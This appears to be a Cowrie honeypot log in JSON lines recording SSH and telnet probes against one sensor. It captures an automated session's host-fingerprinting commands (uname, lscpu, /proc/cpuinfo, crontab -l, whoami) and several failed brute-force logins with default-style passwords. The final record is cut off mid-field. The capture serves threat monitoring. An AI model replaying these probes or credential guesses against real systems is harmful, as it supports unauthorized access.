{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.055597Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.185868Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.190470Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mercedes","password":"mercedes","message":"login attempt [mercedes/mercedes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.295581Z","src_ip":"45.153.34.97","session":"340bcaff1d5a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.327730Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.454616Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.458786Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.462313Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.600370Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.736172Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.739832Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.877039Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.998077Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.001132Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.138482Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.300987Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.304799Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.393113Z","src_ip":"45.153.34.97","session":"340bcaff1d5a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.440864Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.565788Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.569590Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.705946Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.832500Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.835801Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:35.971581Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.096135Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.100179Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.235734Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.363293Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.366737Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.503218Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.636295Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.640410Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.776589Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.910294Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:36.913846Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:37.049945Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:37.175268Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:37.179016Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:37.252187Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:37.257494Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":53050,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f16d53a5746","protocol":"ssh","message":"New connection: 45.153.34.97:53050 (10.17.0.5:22) [session: 4f16d53a5746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:38.371802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:38.415873Z","src_ip":"45.153.34.97","session":"4f16d53a5746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:38.491076Z","src_ip":"45.153.34.97","session":"4f16d53a5746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:38.987162Z","src_ip":"45.153.34.97","session":"4f16d53a5746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:40.206151Z","src_ip":"45.153.34.97","session":"4f16d53a5746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":59144,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0dd303f6413","protocol":"ssh","message":"New connection: 45.153.34.97:59144 (10.17.0.5:22) [session: a0dd303f6413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:42.595638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:42.600837Z","src_ip":"45.153.34.97","session":"a0dd303f6413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:42.688421Z","src_ip":"45.153.34.97","session":"a0dd303f6413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:42.988956Z","src_ip":"45.153.34.97","session":"a0dd303f6413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":44654,"dst_ip":"10.17.0.5","dst_port":22,"session":"38cdf8860197","protocol":"ssh","message":"New connection: 185.236.22.41:44654 (10.17.0.5:22) [session: 38cdf8860197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:43.131590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:43.145752Z","src_ip":"185.236.22.41","session":"38cdf8860197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:43.252542Z","src_ip":"185.236.22.41","session":"38cdf8860197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35462,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fa33077fc65","protocol":"telnet","message":"New connection: 152.42.224.71:35462 (10.17.0.5:23) [session: 7fa33077fc65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:43.468445Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentina","message":"login attempt [root/valentina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:43.729884Z","src_ip":"185.236.22.41","session":"38cdf8860197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":55838,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2669f3f171e","protocol":"ssh","message":"New connection: 103.75.182.198:55838 (10.17.0.5:22) [session: c2669f3f171e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:43.839276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:43.843709Z","src_ip":"103.75.182.198","session":"c2669f3f171e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:44.091819Z","src_ip":"45.153.34.97","session":"a0dd303f6413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-s